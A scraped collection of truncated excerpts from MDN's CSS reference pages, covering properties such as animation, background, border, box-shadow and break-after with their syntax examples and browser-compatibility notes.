the <angle> css data type represents an angle value expressed in degrees, gradians, radians, or turns. it is used, for example, in <gradient>s and in some transform functions. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax the <angle> data type consists of a <number> followed by one of the units listed below. as with all dimensions, there is no space between the unit literal and the number. the angle unit is optional after the number 0. optionally, it may be preceded by a single + or - sign. positive numbers represent clockwise angles, while negative numbers represent counterclockwise angles. for static pr...
animation-iteration-count - CSS: Cascading Style Sheets
ould be played before stopping. if multiple values are specified, each time the animation is played the next value in the list is used, cycling back to the first value after the last one is used. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* keyword value */ animation-iteration-count: infinite; /* <number> values */ animation-iteration-count: 3; animation-iteration-count: 2.4; /* multiple values */ animation-iteration-count: 2, 0, infinite; the animation-iteration-count property is specified as on...
animation-name - CSS: Cascading Style Sheets
the animation-name css property specifies the names of one or more @keyframes at-rules describing the animation or animations to apply to the element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* single animation */ animation-name: none; animation-name: test_05; animation-name: -specific; animation-name: sliding-vertically; /* multiple animations */ animation-name: test1, animation4; animation-name: none, -moz-specific, sliding; /* global values */ animation-name: initial animation-name: inherit a...
animation - CSS: Cascading Style Sheets
it is a shorthand for animation-name, animation-duration, animation-timing-function, animation-delay, animation-iteration-count, animation-direction, animation-fill-mode, and animation-play-state. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. /* @keyframes duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; /* @keyframes name | duration | timing-function | delay */ animation: 3s linear 1s slidein; /* @keyframes name | duration */ animation: slidein 3s; <div class="grid"> <div class="col"> <div class="n...
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
and by webkit-based (e.g., safari) and blink-based (e.g., chrome, opera) browsers to achieve the same thing. note that firefox and edge also support -webkit-appearance, for compatibility reasons. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the -moz-appearance property was used in xul stylesheets to design custom widgets with platform-appropriate styling. it was also used in the xbl implementations of the widgets that ship with the mozilla platform. starting with gecko/firefox 80, these uses were changed to -moz-default-appearance, which should never be used outside of internal stylesheets. compatibility note: ...
aspect-ratio - CSS: Cascading Style Sheets
fications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification. editor's draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaspect-ratio experimentalchrome partial support 79notes partial support 79notes notes chrome 79 adds internal support only for mapped valuesedge partial sup...
background-attachment - CSS: Cascading Style Sheets
the background-attachment css property sets whether a background image's position is fixed within the viewport, or scrolls with its containing block. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; /* global values */ background-attachment: inherit; background-attachment: initial; background-attachment: unset; the background-attachment property is specified as one of the keyword values from the list below. values fixed the background is fixed relative to the viewport. even if an element has...
background-blend-mode - CSS: Cascading Style Sheets
the background-blend-mode css property sets how an element's background images should blend with each other and with the element's background color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. blending modes should be defined in the same order as the background-image property. if the blending modes' and background images' list lengths are not equal, it will be repeated and/or truncated until lengths match. syntax /* one value */ background-blend-mode: normal; /* two values, one per background */ background-blend-mode: darken, luminosity; /* global values */ background-blend-mode: initial; background-blend-mo...
background-clip - CSS: Cascading Style Sheets
the background-clip css property sets whether an element's background extends underneath its border box, padding box, or content box. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if the element has no background-image or background-color, this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference. note: because the root element has a different background painting area, the background-clip property has no effect when specified on it. see "the backgrounds of special elements." ...
background-color - CSS: Cascading Style Sheets
the background-color css property sets the background color of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ background-color: red; background-color: indigo; /* hexadecimal value */ background-color: #bbff00; /* fully opaque */ background-color: #bf0; /* fully opaque shorthand */ background-color: #11ffee00; /* fully transparent */ background-color: #1fe0; /* fully transparent shorthand */ background-color: #11ffeeff; /* fully opaque */ background-color: #1fef; /* fully opaque shorthand */ /* rgb value */ background-color: rgb(255, 255, 128); ...
background-repeat - CSS: Cascading Style Sheets
the background-repeat css property sets how background images are repeated. a background image can be repeated along the horizontal and vertical axes, or not repeated at all. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space). syntax /* keyword values */ background-repeat: repeat-x; background-repeat: repeat-y; background-repeat: repeat; background-repeat: space; background-repeat: round; background-repeat: no-repeat; /* two-value syntax: horizontal |...
background - CSS: Cascading Style Sheets
the background shorthand css property sets all background style properties at once, such as color, image, origin and size, or repeat method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ back...
block-size - CSS: Cascading Style Sheets
ty defines the horizontal or vertical size of an element's block, depending on its writing mode. it corresponds to either the width or the height property, depending on the value of writing-mode. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ block-size: 300px; block-size: 25em; /* <percentage> values */ block-size: 75%; /* keyword values */ block-size: max-content; block-size: min-content; block-size: fit-content(20em); block-size: auto; /* global values */ block-size: inherit; block-size: initial; block-size: unset; if the writing mode is vertically oriented, the value of block-...
border-block-end-color - CSS: Cascading Style Sheets
n. it corresponds to the border-top-color, border-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax border-block-end-color: yellow; border-block-end-color: #f5f6f7; related properties are border-block-start-color, border-inline-start-color, and border-inline-end-color, which define the other border colors of the element. values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed ...
border-block-end-style - CSS: Cascading Style Sheets
n. it corresponds to the border-top-style, border-right-style, border-bottom-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-style'> values */ border-block-end-style: dashed; border-block-end-style: dotted; border-block-end-style: groove; related properties are border-block-start-style, border-inline-start-style, and border-inline-end-style, which define the other border styles of the element. values <'border-style'> the line style of the border. see border-style. formal...
border-block-end-width - CSS: Cascading Style Sheets
n. it corresponds to the border-top-width, border-right-width, border-bottom-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-width'> values */ border-block-end-width: 5px; border-block-end-width: thick; related properties are border-block-start-width, border-inline-start-width, and border-inline-end-width, which define the other border widths of the element. values <'border-width'> the width of the border. see border-width. formal definition initial valuemediumapplies t...
border-block-end - CSS: Cascading Style Sheets
the border-block-end css property is a shorthand property for setting the individual logical block-end border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-block-end-color border-block-end-style border-block-end-width syntax border-block-end: 1px; border-block-end: 2px dotted; border-block-end: medium dashed blue; border-block-end can be used to set the values for one or more of border-block-end-width, border-block-end-style, and border-block-end...
border-block-start-color - CSS: Cascading Style Sheets
n. it corresponds to the border-top-color, border-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax border-block-start-color: blue; border-block-start-color: #4c5d21; related properties are border-block-end-color, border-inline-start-color, and border-inline-end-color, which define the other border colors of the element. values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed color...
border-block-start-style - CSS: Cascading Style Sheets
n. it corresponds to the border-top-style, border-right-style, border-bottom-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-style'> values */ border-block-start-style: dashed; border-block-start-style: dotted; border-block-start-style: groove; related properties are border-block-end-style, border-inline-start-style, and border-inline-end-style, which define the other border styles of the element. values <'border-style'> the line style of the border. see border-style. fo...
border-block-start-width - CSS: Cascading Style Sheets
n. it corresponds to the border-top-width, border-right-width, border-bottom-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-width'> values */ border-block-start-width: 5px; border-block-start-width: thick; related properties are border-block-end-width, border-inline-start-width, and border-inline-end-width, which define the other border widths of the element. initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute...
border-block-start - CSS: Cascading Style Sheets
the border-block-start css property is a shorthand property for setting the individual logical block-start border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-block-start-color border-block-start-style border-block-start-width syntax border-block-start: 1px; border-block-start: 2px dotted; border-block-start: medium dashed blue; border-block-start can be used to set the values for one or more of border-block-start-width, border-block-start-style...
border-bottom-color - CSS: Cascading Style Sheets
the border-bottom-color css property sets the color of an element's bottom border. it can also be set with the shorthand css properties border-color or border-bottom. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <color> values */ border-bottom-color: red; border-bottom-color: #ffbb00; border-bottom-color: rgb(255, 0, 0); border-bottom-color: hsla(100%, 50%, 25%, 0.75); border-bottom-color: currentcolor; border-bottom-color: transparent; /* global values */ border-bottom-color: inherit; border-bottom-color: initial; border-bottom-color: unset; the border-bottom-color property is specified as a single...
border-bottom-left-radius - CSS: Cascading Style Sheets
-radius css property rounds the bottom-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the rounding can be a circle or an ellipse, or if one of the value is 0 no rounding is done and the corner is square. a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property. note: if the value of this property is not set in a border-radius shorthand pr...
border-bottom-right-radius - CSS: Cascading Style Sheets
ght-radius css property rounds the top-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the rounding can be a circle or an ellipse, or if one of the value is 0 no rounding is done and the corner is square. a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property. note: if the value of this property is not set in a border-radius shorthand pr...
border-bottom - CSS: Cascading Style Sheets
the border-bottom shorthand css property sets an element's bottom border. it sets the values of border-bottom-width, border-bottom-style and border-bottom-color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. as with all shorthand properties, border-bottom always sets the values of all of the properties that it can set, even if they are not specified. it sets those that are not specified to their default values. this means that ... border-bottom-style: dotted; border-bottom: thick green; ... is actually the same as ... border-bottom-style: dotted; border-bottom: none thick green; ... and the value of border-b...
border-color - CSS: Cascading Style Sheets
the border-color shorthand css property sets the color of an element's border. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. each side can be set individually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-start-color, border-block-end-color, border-inline-start-color, and border-inline-end-color. you can find more information about border colors in borders in applying color to html elements using css. constituent properties this property is a shorthand for the following css properties: border-bottom-color border-left-colo...
border-image-outset - CSS: Cascading Style Sheets
t from its border box. the parts of the border image that are rendered outside the element's border box with border-image-outset do not trigger overflow scrollbars and don't capture mouse events. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> value */ border-image-outset: 1rem; /* <number> value */ border-image-outset: 1.5; /* vertical | horizontal */ border-image-outset: 1 1.2; /* top | horizontal | bottom */ border-image-outset: 30px 2 45px; /* top | right | bottom | left */ border-image-outset: 7px 12px 14px 5px; /* global values */ border-image-outset: inherit; border-image-outset: init...
border-image-repeat - CSS: Cascading Style Sheets
the border-image-repeat css property defines how the edge regions of a source image are adjusted to fit the dimensions of an element's border image. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values be...
border-image-slice - CSS: Cascading Style Sheets
the border-image-slice css property divides the image specified by border-image-source into regions. these regions form the components of an element's border image. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the slicing process creates nine regions in total: four corners, four edges, and a middle region. four slice lines, set a given distance from their respective sides, control the size of the regions. the above diagram illustrates the location of each region. zones 1-4 are corner regions. each one is used a single time to form the corners of the final border image. zones 5-8 are edge regions. these are...
border-inline-end-color - CSS: Cascading Style Sheets
n. it corresponds to the border-top-color, border-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax border-inline-end-color: rebeccapurple; border-inline-end-color: #663399; related properties are border-block-start-color, border-block-end-color, and border-inline-start-color, which define the other border colors of the element. initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color values <'color'> the col...
border-inline-end-style - CSS: Cascading Style Sheets
n. it corresponds to the border-top-style, border-right-style, border-bottom-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-style'> values */ border-inline-end-style: dashed; border-inline-end-style: dotted; border-inline-end-style: groove; related properties are border-block-start-style, border-block-end-style, and border-inline-start-style, which define the other border styles of the element. values <'border-style'> the line style of the border. see border-style. form...
border-inline-end-width - CSS: Cascading Style Sheets
n. it corresponds to the border-top-width, border-right-width, border-bottom-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-width'> values */ border-inline-end-width: 2px; border-inline-end-width: thick; related properties are border-block-start-width, border-block-end-width, and border-inline-start-width, which define the other border widths of the element. initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute ...
border-inline-end - CSS: Cascading Style Sheets
the border-inline-end css property is a shorthand property for setting the individual logical inline-end border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-inline-end-color border-inline-end-style border-inline-end-width syntax border-inline-end: 1px; border-inline-end: 2px dashed; border-inline-end: medium dashed blue; the physical border to which border-inline-end maps depends on the element's writing mode, directionality, and text orientation. it corresp...
border-inline-start-color - CSS: Cascading Style Sheets
n. it corresponds to the border-top-color, border-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax border-inline-start-color: red; border-inline-start-color: #ee4141; related properties are border-block-start-color, border-block-end-color, and border-inline-end-color, which define the other border colors of the element. values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed ...
border-inline-start-style - CSS: Cascading Style Sheets
n. it corresponds to the border-top-style, border-right-style, border-bottom-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-style'> values */ border-inline-start-style: dashed; border-inline-start-style: dotted; border-inline-start-style: groove; related properties are border-block-start-style, border-block-end-style, and border-inline-end-style, which define the other border styles of the element. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedan...
border-inline-start-width - CSS: Cascading Style Sheets
n. it corresponds to the border-top-width, border-right-width, border-bottom-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-width'> values */ border-inline-start-width: 5px; border-inline-start-width: thick; related properties are border-block-start-width, border-block-end-width, and border-inline-end-width, which define the other border widths of the element. values <'border-width'> the width of the border. see border-width. formal definition initial valuemediumapplie...
border-inline-start - CSS: Cascading Style Sheets
the border-inline-start css property is a shorthand property for setting the individual logical inline-start border property values in a single place in the style sheet. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-inline-start-color border-inline-start-style border-inline-start-width syntax border-inline-start: 1px; border-inline-start: 2px dotted; border-inline-start: medium dashed green; the physical border to which border-inline-start maps depends on the element's writing mode, directionality, and text orie...
border-left-color - CSS: Cascading Style Sheets
the border-left-color css property sets the color of an element's left border. it can also be set with the shorthand css properties border-color or border-left. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <color> values */ border-left-color: red; border-left-color: #ffbb00; border-left-color: rgb(255, 0, 0); border-left-color: hsla(100%, 50%, 25%, 0.75); border-left-color: currentcolor; border-left-color: transparent; /* global values */ border-left-color: inherit; border-left-color: initial; border-left-color: unset; the border-left-color property is specified as a single value. values <color>...
border-left-width - CSS: Cascading Style Sheets
the border-left-width css property sets the width of the left border of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ border-left-width: thin; border-left-width: medium; border-left-width: thick; /* <length> values */ border-left-width: 10em; border-left-width: 3vmax; border-left-width: 6px; /* global keywords */ border-left-width: inherit; border-left-width: initial; border-left-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword. if it's a keyword, it must be one of the following values: ...
border-radius - CSS: Cascading Style Sheets
the border-radius css property rounds the corners of an element's outer border edge. you can set a single radius to make circular corners, or two radii to make elliptical corners. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the radius applies to the whole background, even if the element has no border; the exact position of the clipping is defined by the background-clip property. the border-radius property does not apply to table elements when border-collapse is collapse. note: as with any shorthand property, individual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would par...
border-right-color - CSS: Cascading Style Sheets
the border-right-color css property sets the color of an element's right border. it can also be set with the shorthand css properties border-color or border-right. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <color> values */ border-right-color: red; border-right-color: #ffbb00; border-right-color: rgb(255, 0, 0); border-right-color: hsla(100%, 50%, 25%, 0.75); border-right-color: currentcolor; border-right-color: transparent; /* global values */ border-right-color: inherit; border-right-color: initial; border-right-color: unset; the border-right-color property is specified as a single value. valu...
border-right-width - CSS: Cascading Style Sheets
the border-right-width css property sets the width of the right border of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ border-right-width: thin; border-right-width: medium; border-right-width: thick; /* <length> values */ border-right-width: 10em; border-right-width: 3vmax; border-right-width: 6px; /* global keywords */ border-right-width: inherit; border-right-width: initial; border-right-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword. if it's a keyword, it must be one of the following val...
border-spacing - CSS: Cascading Style Sheets
the border-spacing css property sets the distance between the borders of adjacent <table> cells. this property applies only when border-collapse is separate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the border-spacing value is also used along the outside edge of the table, where the distance between the table's border and the cells in the first/last column or row is the sum of the relevant (horizontal or vertical) border-spacing and the relevant (top, right, bottom, or left) padding on the table. note: the border-spacing property is equivalent to the deprecated cellspacing <table> attribute, except that it ...
border-style - CSS: Cascading Style Sheets
the border-style shorthand css property sets the line style for all four sides of an element's border. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-bottom-style border-left-style border-right-style border-top-style syntax /* keyword values */ border-style: none; border-style: hidden; border-style: dotted; border-style: dashed; border-style: solid; border-style: double; border-style: groove; border-style: ridge; border-style: inset; border-style: outset; /* vertical | horizontal */ border-style: dotted solid; /...
border-top-color - CSS: Cascading Style Sheets
the border-top-color css property sets the color of an element's top border. it can also be set with the shorthand css properties border-color or border-top. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <color> values */ border-top-color: red; border-top-color: #ffbb00; border-top-color: rgb(255, 0, 0); border-top-color: hsla(100%, 50%, 25%, 0.75); border-top-color: currentcolor; border-top-color: transparent; /* global values */ border-top-color: inherit; border-top-color: initial; border-top-color: unset; the border-top-color property is specified as a single value. values <color> the color o...
border-top-left-radius - CSS: Cascading Style Sheets
eft-radius css property rounds the top-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the rounding can be a circle or an ellipse, or if one of the value is 0,no rounding is done and the corner is square. a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property. note: if the value of this property is not set in a border-radius shorthand pr...
border-top-right-radius - CSS: Cascading Style Sheets
ht-radius css property rounds the top-right corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the rounding can be a circle or an ellipse, or if one of the value is 0 no rounding is done and the corner is square. a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property. note: if the value of this property is not set in a border-radius shorthand pr...
border-top-width - CSS: Cascading Style Sheets
the border-top-width css property sets the width of the top border of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ border-top-width: thin; border-top-width: medium; border-top-width: thick; /* <length> values */ border-top-width: 10em; border-top-width: 3vmax; border-top-width: 6px; /* global keywords */ border-top-width: inherit; border-top-width: initial; border-top-width: unset; values <line-width> defines the width of the border, either as an explicit nonnegative <length> or a keyword. if it's a keyword, it must be one of the following values: thin...
border-width - CSS: Cascading Style Sheets
the border-width shorthand css property sets the width of an element's border. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: border-bottom-width border-left-width border-right-width border-top-width syntax /* keyword values */ border-width: thin; border-width: medium; border-width: thick; /* <length> values */ border-width: 4px; border-width: 1.2rem; /* vertical | horizontal */ border-width: 2px 1.5em; /* top | horizontal | bottom */ border-width: 1px 2em 1.5cm; /* top | right | bottom | left */ border-width: 1px 2e...
bottom - CSS: Cascading Style Sheets
the bottom css property participates in setting the vertical position of a positioned element. it has no effect on non-positioned elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the effect of bottom depends on how the element is positioned (i.e., the value of the position property): when position is set to absolute or fixed, the bottom property specifies the distance between the element's bottom edge and the bottom edge of its containing block. when position is set to relative, the bottom property specifies the distance the element's bottom edge is moved above its normal position. when position is set...
box-align - CSS: Cascading Style Sheets
om the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> </body> </html> specifications not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-align deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -w...
box-decoration-break - CSS: Cascading Style Sheets
the box-decoration-break css property specifies how an element's fragments should be rendered when broken across multiple lines, columns, or pages. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the specified value will impact the appearance of the following properties: background border border-image box-shadow clip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword val...
box-direction - CSS: Cascading Style Sheets
-moz-box-direction: reverse; /* mozilla */ -webkit-box-direction: reverse; /* webkit */ box-direction: reverse; /* as specified */ } specifications not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-direction deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix...
box-shadow - CSS: Cascading Style Sheets
shadow effects around an element's frame. you can set multiple effects separated by commas. a box shadow is described by x and y offsets relative to the element, blur and spread radius, and color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the box-shadow property enables you to cast a drop shadow from the frame of almost any element. if a border-radius is specified on the element with a box shadow, the box shadow takes on the same rounded corners. the z-ordering of multiple box shadows is the same as multiple text shadows (the first specified shadow is on top). box-shadow generator is an interactive tool allowi...
break-after - CSS: Cascading Style Sheets
layout modulethe definition of 'break-after' in that specification. working draft initial definition. extends the css 2.1 page-break-after property to handle both page and column breaks. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-column layoutchrome full support 50edge full support 12firefox no ...
break-before - CSS: Cascading Style Sheets
yout modulethe definition of 'break-before' in that specification. working draft initial definition. extends the css 2.1 page-break-before property to handle both page and column breaks. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-column layoutchrome full support 50edge full support 12firefox ful...
break-inside - CSS: Cascading Style Sheets
ng draft extends the property to handle region breaks. css multi-column layout modulethe definition of 'break-inside' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-column layoutchrome full support 50edge full support 12firefox full support ...
calc() - CSS: Cascading Style Sheets
